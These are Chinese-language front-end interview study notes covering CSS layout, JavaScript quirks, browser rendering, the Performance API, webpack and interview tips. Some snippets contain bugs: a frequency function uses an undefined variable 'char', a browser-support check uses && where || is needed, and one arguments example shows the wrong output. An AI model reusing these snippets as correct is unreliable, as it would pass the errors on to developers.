// 如果一个对象与数字或字符串相比较,JavaScript会尝试返回对象的默认值。操作符会尝试通过方法valueOf和toString将对象转换为其原始值(一个字符串或数字类型的值)。如果尝试转换失败,会产生一个运行时错误。
// 每次执行 a == x 的时候,都是使用 valueOf 和 toString 来对a进行转换
// 第一次 执行 a == 1,执行a.valueOf,执行了a+1,且返回1,所以=true
// 第二次 执行 a == 12,执行a.valueOf,返回12,所以=true


css布局(padding百分比)

css布局实现以下要求(主要考察css布局、padding设置为百分比时的参照物):

  • 1.子级div左右距离父级边界各50px
  • 2.子级div垂直居中
  • 3.子级div高度是宽度的一半

注:css margin、padding的left、right、top、bottom设置为百分比时都是以父级的width为参照

1
2
3
<div class="outer">
<div class="inner">ABCD</div>
</div>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.outer{
/* 父级内部实现水平、垂直居中 */
display: flex;
align-items: center;
justify-content: center;

border: 5px solid #f00;
width:400px;
height: 300px;

/* 需求1:子级左右距离父级边距各50px(先不实现这个,最后实现) */
padding: 0 50px;
}

.inner{
border: 5px solid #0f0;
color: #000;
font-size: 20px;

/* 需求2:子级内部实现水平、垂直居中 */
display: flex;
align-items: center;
justify-content: center;
flex: 1;

/* 需求3:子级内部高度为父级宽度的一半 */
padding: 25% 0;
/* 设置height: 0, 防止文字增加高度 */
height:0;
}

注:当不实现 需求1 的时候,需求3 中自己内部高度为50%,即为父级(outer div)宽度的一半,此时由于inner div设置了flex布局(需求2),导致子级宽度和父级宽度一样,最后再实现 需求1,父级增加左右padding。

效果如下:


今日头条新闻概率

假设在今日头条里面,有很多工作人员检查新闻是不是属于虚假新闻,所有新闻真实率到达了98%,工作人员在检验一个真实的新闻把它检验为一个虚假的新闻的概率为2%,而一个虚假的新闻被检验为真实的新闻的概率为5%. 那么,一个被检验为真实的新闻确实是真实的新闻的概率是多大?

A.0.9991

B.0.9989

C.0.9855

D.0.96

答案:B

分析条件得到:
真的新闻:98%,包含 【真的->真的,假的->假的】
假的新闻:2%,包含 【真的->假的,假的->真的】

因为:
真的->假的:2%
假的->真的:5%

所以:
真的->真的:1 - 2% = 98%
假的->假的:1 - 5% = 95%

分析要求:被检验为真实的新闻确实是真实的新闻

首先要明确被检验为真实的新闻包括了(本来是真的和本来是假的)所以分子为(真->真),分母为(真->真 + 假->真)

结果为:(真->真)/(真->真 + 假->真) = (98%(1-2%)) / (98%(1-2%) + 2%*5%) = 0.9604/0.9614 = 0.9989……


排除数组指定内容(考察filter用法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 说明:实现一个exclude方法,从数组中排除掉指定内容
* 示例:
* exclude([1, 2, 'a', 2], 2); // 返回 [1, 'a']
* exclude([1, 'a', 2, 'a'], 1, 'a'); // 返回 [2]
* exclude([1, 2, 3]); // 返回 [1, 2, 3]
*/

function exclude(arr, ...param) {
// 注:不定参数用...param表示,param是数据对象,无该参数时表示空数组

// 额外拓展:arguments囊括所以的参数
// arguments: 可以取到不定参数的具体内容,
// 如 exclude([1, 2, 'a', 2], 2) 则输出[[1, 2, 'a', 2], 2]
// 如 exclude([1, 'a', 2, 'a'], 1, 'a') 则输出[[1, 2, 'a', 2], 1, 'a']
// arguments.length 表示参数的个数,这样可以取到不定参数的个数

/* 代码实现 */
return arr.filter((item, index, self) => {
return !param.includes(item); // 注filter return语句中为true则保留,为false则去除
});
}

字符频率统计(考察sort方法、字符串charCodeAt方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/**
* 说明:给定一个字符串,将字符串里的字符按照出现的频率升序排列并统计输出。
* 1. 字符串的字符只有小写字母
* 2. 输出格式是字符+频次,如 aaaa 输出 a4
* 3. 升序排序优先按频次排序,频次相同时按字母升序排序,如 ccbbabaa 输出 c2a3b3
* 示例:
* frequency('dabhppa'); // 输出 b1d1h1a2p2
* frequency('cb'); // 输出 b1c1
* frequency('accabcb'); // 输出 a2b2c3
*/

// 只考虑按字符顺序输出:frequency('dabhppa'); 输出 a2b1d1h1p2
function frequency(chars) {
/* 代码实现 */
// 思路涉及到排序先想到sort方法,但是sort方法时Array的方法,所以想到先将字符串使用split('')转成数组,用sort()排序后再用join()方法转成字符串

// 第一步:排序
var sortChars = chars.split('').sort((a, b) => {
return a.charCodeAt() - b.charCodeAt();
}).join(''); // 这样操作之后会得到已排序好的字符

// 第二步:收集key value
let obj = {};
for (let i = 0; i < sortChars.length; i += 1) {
if (obj[sortChars[i]]) {
obj[sortChars[i]]++;
} else {
obj[sortChars[i]] = 1;
}
}
console.log(obj);

// 第三步:输出
let str = '';
for (var key in obj) {
str += `${key}${obj[key]}`;
}
console.log(str);

return str
}

// 真实实现,先按数量再按字符输出:frequency('helloworld'); 输出 l3o2d1e1h1r1w1
function frequency(chars) {
// char = 'helloworld'
var arr = char
.split('') // ['h', 'e', 'l', 'l', 'o', 'w', 'o', 'r', 'l', 'd']
.sort() // ['d', 'e', 'h', 'l', 'l', 'l', 'o', 'o', 'r', 'w']
.join('') // dehllloorw
.match(/([a-z])\1*/g) // ['d', 'e', 'h', 'lll', 'oo', 'r', 'w']
.sort(function (a, b) {
return b.length - a.length
}) // ['lll', 'oo', 'd', 'e', 'h', 'r', 'w']

let str = ''
for (let i in arr) {
str += `${arr[i][0]}${arr[i].length}`
}
return str
}

js连续赋值运算

描述下面的结果,为什么?

1
2
3
4
5
var a = {n: 1};
b = a;
a.x = a = {n: 2};

console.log(a, b); // {n: 2}、{n: 1, x: {n: 2}}

参考:https://blog.csdn.net/dcof99817/article/details/102343098

注意点:

  1. 赋值运算符(”=”)是自右向左的。
  2. 字段访问运算符(”.”)优先级 > 赋值运算符。

解析:

  1. .运算符优先级最大,先执行 a.x ,此时a指向 {n: 1},称之为A对象。

  2. a中没有x属性,所以 a.x 为undefined,即a指向 {n: 1, x: undefined}。由于a、b共用存储地址,所以b也指向 {n: 1, x: undefined}

  3. 开始赋值运算,自右向左先执行 a = {n: 2}。在堆中创建对象B,即 {n: 2},a新指向了对象B,b暂未改变。

  4. 再执行 a.x = a由于一开始js已经先计算了 a.x,便已经解析了这个 a.x 是对象A的x,所以在同一条公式的情况下再回来给 a.x 赋值,也不会说重新解析这个 a.x 为对象B的x。
    相当于把对象A的x属性指向了对象B。
    导致 b = {n: 1, x: {n: 2}},a未改变 a = {n: 2}


页面渲染机制与性能优化

浏览器渲染过程

  1. 什么是DOCTYPE及作用
    DTD(document type definitiion,文档类型定义)是一系列的语法规则,用来定义 XML(X)HTML的文件类型。浏览器会使用它来判断文档类型,决定使用何种协议来解析,以及切换浏览器模式。
    DOCTYPE 是用来申明文档类型和 DTD 规范的,一个主要的用途是文件的合法性验证。如果文件代码不合法,那么浏览器解析时会出一些错。
    指示 web 浏览器关于页面使用哪个 HTML 版本进行编写的指令。

    • html5

      1
      <!DOCTYPE html>
    • html4.01 Strict
      该 DTD 包含所有 HTML 元素和属性,但不包括展示性的和弃用的元素(比如 font)。不允许框架集(Framesets)。

      1
      <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    • html4.01 Transitional
      该 DTD 包含所有 HTML 元素和属性,包括展示性的和弃用的元素(比如 font)。不允许框架集(Framesets)。

      1
      2
        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
      "http://www.w3.org/TR/html4/loose.dtd">
    • html4.01 Frameset
      该 DTD 包含所有 HTML 元素和属性,但不包括展示性的和弃用的元素(比如 font)。允许框架集(Framesets)。

      1
      2
        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" 
      "http://www.w3.org/TR/html4/frameset.dtd">
  2. 网页请求过程(输入url开始发生了什么)
    输入url回车 –> 解析url –> DNS解析 –> 建立TCP链接(三次握手) –> 客户端发起请求 –> 服务端响应请求 –> 渲染页面 –> 断开连接

  3. 浏览器渲染过程

    参考:segmentfault 浏览器渲染过程

    • webkit渲染过程图

    • gecko渲染过程图

    这两个内核的渲染流程大同小异,主要的过程可以总结为下列5个:

    • DomTree: 解析html构建DOM树。
    • CssomTree: 解析CSS生成CSSOM规则树。
    • RenderObjectTree: 将DOM树与CSSOM规则树合并在一起生成渲染对象树。
    • Layout: 遍历渲染树开始布局(layout),计算每个节点的位置大小信息。
    • Painting: 将渲染树每个节点绘制到屏幕。
  4. 重排(回流)Reflow
    重排一定会触发重绘,而重绘不一定会重排

    参考:segmentfault 浏览器渲染过程

    • 定义
      重排(Reflow)是指元素的大小、位置发生了改变,而导致了布局的变化,从而导致了布局树的重新构建和渲染。

    • 触发Reflow
      1.) 增加、删除、修改 DOM 节点时
      2.) 移动 DOM 位置的时候,比如某个动画
      3.) 元素尺寸改变(margin、padding、border、width、height)
      4.) 元素内容改变
      5.) 页面渲染器初始化
      6.) 浏览器窗口改变的时候

    • 面试提示:如何避免?
      1.) 分离读写操作
      2.) 样式集中改变或切换class
      3.) 动画类使用absolute脱离文档流
      4.) 使用 visibility:hidden 代替 display:none,前者只会发生重绘,后者会发生回流
      5.)减少使用table布局,table布局中的的一个小改动都可能造成回流

  5. 重绘Repaint
    重排一定会触发重绘,而重绘不一定会重排

    • 定义
      重绘是指css样式的改变,但元素的大小和尺寸不变,而导致节点的重新绘制。

    • 触发Repaint
      任何的元素样式,如 background-colorborder-colorvisibility 等属性的改变。css 和 js 都可能引起重绘。

    • 面试提示:如何最小程度的降低Repaint
      1.) DOM离线修改,先display:none,改完之后再显示
      2.) 样式集中改变或切换class

  1. 布局Layout

js运行机制

参考掘金 彻底弄懂 JavaScript 执行机制

1
2
3
4
5
6
7
8
console.log(1);
setTimeout(() => {
console.log(2);
}, 0);
console.log(3);

// 输出: 1 3 2
// 因为setTimeout是一个异步任务
1
2
3
4
5
6
7
8
console.log('A');
while(true) {

}
console.log('B');

// 输出: A
// 且浏览器会不断的执行,导致崩溃。因为while是一个同步任务
1
2
3
4
5
6
7
8
9
10
console.log('A');
setTimeout(() => {
console.log('B');
}, 0);
while(true) {

}

// 输出: A
// setTimeout内部永远不会被执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
for (var i = 0; i < 4; i++) {
setTimeout(() => {
console.log(i);
}, 0);
}
// 输出: 4 4 4 4
// 因为for循环是同步任务,每次循环产生的setTimeout都会放到异步对列中。执行完同步之后再执行异步,此时已经有四个待执行的异步任务了,而因为 i 是一个全局变量,所以会输出4个4
// 即:同步for循环(i=0、i=1、i=2、i=3) -> 异步

// 改进(es6 let)
for (let i = 0; i < 4; i++) {
setTimeout(() => {
console.log(i);
}, 0);
}
// 输出: 0 1 2 3,注意:内部setTimeout的时间如果设置为3000,则会在3s后输出0 1 2 3

// 改进(内部使用自执行函数):
for (var i = 0; i < 4; i++) {
(function(i) {
setTimeout(() => {
console.log(i);
}, 0);
})(i);
}
// 输出: 0 1 2 3,注意:内部setTimeout的时间如果设置为3000,则会在3s后输出0 1 2 3

// 注意:某些情况下可以使用递归自执行函数解决
(function log(i) {
if (i === 4) {
console.log('结束了')
return;
}
setTimeout(() => {
console.log(i);
log(i + 1);
}, 0);
})(0);
// 输出: 0 1 2 3,注意:内部setTimeout的时间如果设置为3000,则会在每3s输出一个数,适用于有依赖关系的循环

异步任务:

  • setTimeout、setInterval
  • DOM事件
  • ES6 Promise

原理:js 是单线程的,任务队列分为同步任务和异步任务。

页面性能监控 performance

Performance — 前端性能监控利器

参考:cnblogs Performance 前端性能监控利器

hash、chunkhash、contenthash

  • hash: 跟整个项目的构建有关,构建生成的文件hash值都是一样的。同一次构建过程中生成的hash都是一样的,只要有文件修改,整个项目构建的hash都会发生变化。图片等资源例外,每个图片资源都拥有自己的hash,不同于全局hash。

  • chunkhash: 根据不同的入口文件(entry)进行依赖文件分析、构建对应的chunk,生成对应的hash值。生产环境中,将公共库和入口文件分开打包构建,再采用chunkhash的方式生成。这样在不改动公共文件的情况下,hash值不会受影响。
    chunkhash只能用在生产环境不能用在开发环境。

  • contenthash: 由文件内容产生的hash值,内容不同产生的contenthash就会不一致。通常把项目中的css都抽离出对应的css文件来加以引用。
    contenthash是extract-text-webpack-plugin插件引入的,解决修改样式文件导致js重新生成hash。

结论:

  1. 全局 Hash 和 js、css 的 hash一致
  2. 图片、字体等资源只有hash,但是该 hash 只是该图片自身的,不同于全局hash
  3. 如果对css使用chunkhash,它与依赖的chunk公用chunkhash,css和js的chunkhash是一致的。修改了js,css的hash也会变化。修改了css,js的hash值也会变化。
  4. 图片字体等使用hash,js使用chunkhash,css使用contenthash
1
window.performance.navigation
type常数 枚举值 描述
TYPE_NAVIGATE 0 普通进入,包括:点击链接、在地址栏中输入 URL、表单提交、或者通过除下表中 TYPE_RELOAD 和 TYPE_BACK_FORWARD 的方式初始化脚本。
TYPE_RELOAD 1 通过刷新进入,包括:浏览器的刷新按钮、快捷键刷新、location.reload()等方法。
TYPE_BACK_FORWARD 2 通过操作历史记录进入,包括:浏览器的前进后退按钮、快捷键操作、history.forward()、history.back()、history.go(num)。
TYPE_UNDEFINED 255 其他非以上类型的方式进入。

memory属性 内存情况

1
window.performance.memory
属性 描述
jsHeapSizeLimit 内存大小限制
totalJSHeapSize 可使用的内存
usedJSHeapSize JS对象(包括V8引擎内部对象)占用的内存,不能大于totalJSHeapSize,如果大于,有可能出现了内存泄漏

timing属性 所有的时间

1
window.performance.timing


按触发顺序排列所有属性:

属性 描述
navigationStart 在同一个浏览器上下文中,前一个网页(与当前页面不一定同域)unload 的时间戳,如果无前一个网页 unload ,则与 fetchStart 值相等
unloadEventStart 前一个网页(与当前页面同域)unload 的时间戳,如果无前一个网页 unload 或者前一个网页与当前页面不同域,则值为 0
unloadEventEnd 和 unloadEventStart 相对应,返回前一个网页 unload 事件绑定的回调函数执行完毕的时间戳
redirectStart 第一个 HTTP 重定向发生时的时间。有跳转且是同域名内的重定向才算,否则值为 0
redirectEnd 最后一个 HTTP 重定向完成时的时间。有跳转且是同域名内的重定向才算,否则值为 0
fetchStart 浏览器准备好使用 HTTP 请求抓取文档的时间,这发生在检查本地缓存之前
domainLookupStart DNS 域名查询开始的时间,如果使用了本地缓存(即无 DNS 查询)或持久连接,则与 fetchStart 值相等
domainLookupEnd DNS 域名查询完成的时间,如果使用了本地缓存(即无 DNS 查询)或持久连接,则与 fetchStart 值相等
connectStart HTTP(TCP) 开始建立连接的时间,如果是持久连接,则与 fetchStart 值相等,如果在传输层发生了错误且重新建立连接,则这里显示的是新建立的连接开始的时间
connectEnd HTTP(TCP) 完成建立连接的时间(完成握手),如果是持久连接,则与 fetchStart 值相等,如果在传输层发生了错误且重新建立连接,则这里显示的是新建立的连接完成的时间
注意:这里握手结束,包括安全连接建立完成、SOCKS 授权通过
secureConnectionStart HTTPS 连接开始的时间,如果不是安全连接,则值为 0
requestStart HTTP 请求读取真实文档开始的时间(完成建立连接),包括从本地读取缓存,连接错误重连时,这里显示的也是新建立连接的时间
responseStart HTTP 开始接收响应的时间(获取到第一个字节),包括从本地读取缓存
responseEnd HTTP 响应全部接收完成的时间(获取到最后一个字节),包括从本地读取缓存
domLoading 开始解析渲染 DOM 树的时间,此时 Document.readyState 变为 loading,并将抛出 readystatechange 相关事件
domInteractive 完成解析 DOM 树的时间,Document.readyState 变为 interactive,并将抛出 readystatechange 相关事件,
注意:只是 DOM 树解析完成,这时候并没有开始加载网页内的资源
domContentLoadedEventStart DOM 解析完成后,网页内资源加载开始的时间,文档发生 DOMContentLoaded事件的时间
domContentLoadedEventEnd DOM 解析完成后,网页内资源加载完成的时间(如 JS 脚本加载执行完毕),文档的DOMContentLoaded 事件的结束时间
domComplete DOM 树解析完成,且资源也准备就绪的时间,Document.readyState 变为 complete,并将抛出 readystatechange 相关事件
loadEventStart load 事件发送给文档,也即 load 回调函数开始执行的时间,如果没有绑定 load 事件,值为 0
loadEventEnd load 事件的回调函数执行完毕的时间,如果没有绑定 load 事件,值为 0

常用计算:
DNS查询耗时 :domainLookupEnd - domainLookupStart
TCP链接耗时 :connectEnd - connectStart
request请求耗时 :responseEnd - responseStart
解析dom树耗时 : domComplete - domInteractive
白屏时间 :responseStart - navigationStart
domready时间(用户可操作时间节点) :domContentLoadedEventEnd - navigationStart
onload时间(总下载时间) :loadEventEnd - navigationStart

getEntries()方法 所有资源的信息

1
window.performance.getEntries().forEach(item => console.log(item))

属性 描述
name 资源名称,是资源的绝对路径或调用mark方法自定义的名称
startTime 开始时间
duration 加载时间
entryType 资源类型
initiatorType 谁发起的请求

全局监控:如果我们想打印当前页面所有资源的信息,可导入下面的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(function () {
// 浏览器不支持,就算了!
if (!window.performance && !window.performance.getEntries) {
return false;
}

var result = [];
// 获取当前页面所有请求对应的PerformanceResourceTiming对象进行分析
window.performance.getEntries().forEach(function (perf) {
result.push({
'url': perf.name,
'entryType': perf.entryType,
'type': perf.initiatorType,
'duration(ms)': perf.duration
});
});

// 控制台输出统计结果
console.table(result);
})();

页面性能优化

参考:segmentfault 浏览器渲染过程

网络请求的优化

  1. 静态资源
    1). 拼接、合并、压缩、制作雪碧图
    使用webpack或者gulp等打包工具对资源(js、css、图片等)进行打包、合并、去重、压缩。对于图片资源,我们可以制作雪碧图,优先使用webp格式,小图使用base64格式,根据不同的表现进行图片裁剪。

    2). CDN资源分发
    将一些静态资源文件托管在第三方CDN服务中,一方面可以减少服务器的压力,另一方面,CDN的优势在于,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上,保证资源的加载速度和稳定性。

    3). 缓存
    缓存的范围很广,比如协议层的DNS解析缓存、代理服务器缓存,到客户端的浏览器本地缓存,再到服务端的缓存。一个网络链路的每个环节都有被缓存的空间。缓存的目的是简化资源的请求路径,比如某些静态资源在客户端已经缓存了,再次请求这个资源,只需要使用本地的缓存,而无需走网络请求去服务端获取。

    4). 分片
    分片指得是将资源分布到不同的主机,这是为了突破浏览器对同一台主机建立tcp连接的数量限制,一般为6~8个。现代网站的资源数量有50~100个很常见,所以将资源分布到不同的主机上,可以建立更多的tcp请求,降低请求耗时,从而提升网页速度。

    5). DNS预解析(预先获得域名所对应的 IP)

    1
    <link rel="dns-prefetch" href="//yuchengkai.cn">

    6). 资源预加载(有些资源不需要马上用到,但是希望尽早获取,这时候就可以使用预加载)

    1
    <link rel="preload" href="http://example.com">

7). 懒加载

  1. 业务数据
    1.)首屏直出
    为了提升用户体验,我们认为首屏的渲染速度是极为重要的,用户进来页面,首页可见区域的加载可以由服务端渲染,保证了首屏加载速度,而不可见的部分则可以异步加载,甚至做到子路由页面的预加载。

    2.)接口合并
    前端经常有这样的场景,完成一个功能需要先请求第一个接口获得数据,然后再根据数据请求第二个接口获取第二个数据,然后第三、第四…前端通常需要通过promise或者回调,一层一层的then下去,这样显然是很消耗性能的。
    应该由服务端处理中间的流程,前端只发一次请求。

页面渲染性能的优化

  1. 防止阻塞渲染
    页面中的css 和 js 会阻塞html的解析,因为他们会影响dom树和render树。为了避免阻塞,我们可以做这些优化:

    1.) css 放在首部,提前加载,这样做的原因是: 通常情况下 CSS 被认为是阻塞渲染的资源,在CSSOM 构建完成之前,页面不会被渲染,放在顶部让样式表能够尽早开始加载。但如果把引入样式表的 link 放在文档底部,页面虽然能立刻呈现出来,但是页面加载出来的时候会是没有样式的,是混乱的。当后来样式表加载进来后,页面会立即进行重绘,这也就是通常所说的闪烁了。

    2.) js文件放在底部,防止阻塞解析

    3.) 一些不改变dom和css的js 使用 deferasync 属性告诉浏览器可以异步加载,不阻塞解析

  2. 减少重排和重绘
    重绘和回流在实际开发中是很难避免的,我们能做的就是尽量减少这种行为的发生。

    1.) js尽量少访问dom节点和css属性

    2.) 尽可能的为产生动画的 HTML 元素使用 fixedabsoluteposition ,那么修改他们的 CSS 是不会 Reflow 的。

    3.) img标签要设置高宽,以减少重绘重排

    4.) 把DOM离线后修改,如将一个dom脱离文档流,比如 display: none ,再修改属性,这里只发生一次回流。

    5.) 尽量用 transform 来做形变和位移,不会造成回流

  3. 提高代码质量

    • html
      1.) dom层级不要太深,否则会增加dom树构建的时间,js访问深层的dom也会造成更大的负担。

      2.) meta标签里需要定义文档的编码,便于浏览器解析

    • css
      1.) 减少 CSS 嵌套层级和选择适当的选择器

      2.) 对于首屏的关键css 可以使用style标签内联

    • js
      1.) 减少通过 JavaScript 代码修改元素样式,尽量使用修改class名方式操作样式或动画。

      2.) 访问dom节点时需要对dom节点缓存,防止循环中重复访问dom节点造成性能损耗。

      3.) 慎用 定时器 和 计时器, 使用完后需要销毁。

      4.) 用于复杂计算的js代码可以放在worker进程中运行

      5.) 对于一些高频的回调需要对其节流和防抖,就是 throttledebounce 这两个函数。比如 scrolltouch 事件。

面试回答

  1. 资源压缩、合并,减少HTTP请求

  2. 非核心代码异步加载
    1.) 动态脚本加载,使用js动态创建 script 然后插入到 head
    2.) defer,在 HTML 解析完之后才会执行,如果是多个,则按照顺序执行
    3.) async,加载完之后立即执行,如果是多个,执行顺序和加载顺序无关

结果:

1
2
3
4
5
6
7
8
9
10
// main
// async1
// async2

// 也可能是(当实际文件内容差别大时):
// main
// async2
// async1

// 先执行完后面的script标签,再不定顺序的执行async的script,async1 和 async2 的顺序不定

  1. 利用浏览器缓存(http协议头)
    1.) 强缓存(服务器同时下发这两个是,以Cache-Control为准)
    Expires      Expires:Mon,18 Oct 2066 23:59:59 GMT

    Cache-Control      Cache-Control:max-age=3600

    2.) 协商缓存
    Last-Modify      If-Modify-Since      Last-Modify: Thu,31 Dec 2037 23:59:59 GMT
    ETag      If-None-Match     

  2. 使用CDN(img、css、js)

  3. 预解析DNS

    1
    2
    <meta http-equiv="x-dns-prefetch-control" content="on">
    <link rel="dns-prefetch" href="">
  4. 代码优化

如何优化webpack

优化打包速度

  1. 优化Loader,合理的使用loader的include和exclude(重点是对node_modules文件排查)
  2. HappyPack插件: 将loader的同步执行改成并行执行,加快打包效率
  3. 代码压缩:webpack-parallel-uglify-plugin 插件并行运行压缩

优化打包体积

  1. 按需加载
  2. Scope Hoisting: 分析出模块之间的依赖关系,尽可能的把打包出来的模块合并到一个函数中去
  3. Tree Shaking: 删除项目中未被引用的代码(webpack4自动开启)

错误监控

  1. 前端错误的分类
    1.) 即时运行错误(代码错误)
    2.) 资源加载错误(css、js加载错误)

  2. 错误捕获方式
    1.)即时运行错误

    • try...catch
    • window.onerror / window.addEventListener('error', function () {})`

    2.) 资源加载错误(冒泡无法获知,捕获可以获知)

    • Obejct.onerror
    • performance.getEntries()

      1
      2
      3
      4
      5
      6
      performance.getEntries().forEach((item) => {
      console.log(item);
      });

      // 会输入所有的资源信息
      // 判断总资源数是否相等(间接法)
    • Error事件捕获

      1
      2
      3
      4
      5
      6
      <script>
      window.addEventListener('error', function(e) {
      console.log('捕获到异常', e);
      }, true); // false表示冒泡,true表示捕获,资源加载异常只能通过捕获获知
      </script>
      <script src="//baidu.com/test.js"></script>

    3.) 提问:跨域的js可以捕获到错误码?错误提示是什么?应该怎么处理?

    • 错误提示

      从结果可以看出:无法获取具体的出错文件和代码行数

    • 处理办法
      客户端:script 标签增加 crossorigin 属性
      服务端:设置js资源响应头 Access-Control-Allow-Origin:*

  1. 上报错误的基本原理
    1.) ajax 请求上报(可以做到,但是通常不会使用此方法)
    2.) image 对象上报,打点…
    1
    2
    3
    (new Image()).src = 'http://baidu.com/test?error=qwer'; // network中就可以看到这个请求了

    // 一些大公司的打点也是这个原理

面试

技术面试

  1. 业务能力

    • 做过什么业务
    • 负责的业务有什么业绩
    • 使用了什么技术方案
    • 突破了什么技术难点
    • 遇到了什么问题
    • 最大的收获是什么
  2. 团队协作能力

  3. 事物推动能力(跨部门、跨组)

  4. 带人能力
    code reivew
    编写框架,通用方法的编写
    制定规范,eslint、变量、方法命名等
    对开发时间有整体把握,及时调整

  5. 其他能力

  6. 你还有什么要问的吗?
    团队使用什么技术
    开发环境一共几种(本地、test、staging、线上)
    是否有公司自己的埋点体系
    是否经常会有一些技术分享会

HR面试

  1. 面试技巧

    • 乐观积极
    • 主动沟通
    • 逻辑顺畅
    • 上进有责任心
    • 有主张、做事果断
  2. 内容分布(HR提问)

    • 职业竞争力(为什么这个职位你会合适)
      1.) 业务能力(行业第一)

      2.) 思考能力(对同一件事可以从不同的角度去思考问题,找到最优的解决方案)
      遇到难题怎么办:先自身花时间上网查找解决方法,尽可能的自己去解决。实在无法解决的话,询问一下技术群大牛,寻求一些同行朋友的帮助。解决之后进行总结,为什么自己无法解决,而别人可以,别人解决问题的思路是什么,用了哪些技术方案等

      3.) 学习能力(不断的学习新的业务和技术,沉淀、总结)
      平常喜欢做什么

      4.) 无上限的付出(对于无法解决的问题可以熬夜、加班)

    • 职业规划(对未来的规划)
      1.) 目标是什么
      在业务上成为专家,帮助公司在行业上成为第一,在技术上成为行业大牛

      2.) 近阶段的目标
      不断的学习和积累各方面的经验,以学习为主
      如果公司给我分配一个新岗位,我要先清楚岗位做什么,难点是什么,突破点在哪里,我要把它做到极值

      3.) 长期目标
      做几件很有价值的事,如开源作品、技术框架(这两点很重要)

      4.) 方式方法
      先完成业务上的主要问题,做到极致,然后逐步向目标靠拢
      我希望公司技术部会定期有分享会,公司能给我一些工具、一些平台、一些权限让我能够最大高效的解决问题

  3. 沟通技巧
    多夸人,多赞美HR

面试技巧

  1. JD描述(职位描述)
    校招一定要看
  2. 简历
    对照JD改出相吻合的简历,对于未掌握的技术栈快速复习、理解
  3. 自我介绍
    一定要打草稿,展示什么优势,描述什么项目,切忌临场发挥

面试流程

  1. 一面
    重基础
    懂原理
    要思考(不会的话不能直接回答不会,一定要深入思考)
    知进退(不懂的话,可以问面试官能不能给个指导方向、查询的资料等)
    势不可挡
  2. 二面
    横向扩展
    项目结合
  3. 三面
    有经验
    懂合作
    有担当
    懂规矩
    察言观色
  4. 终面
    会沟通
    要上进
    好性格
    有主见
    强逻辑
    无可挑剔
  5. 复盘
    胜不骄,败不馁
    总结经验
    步步为营
    多拿几个offer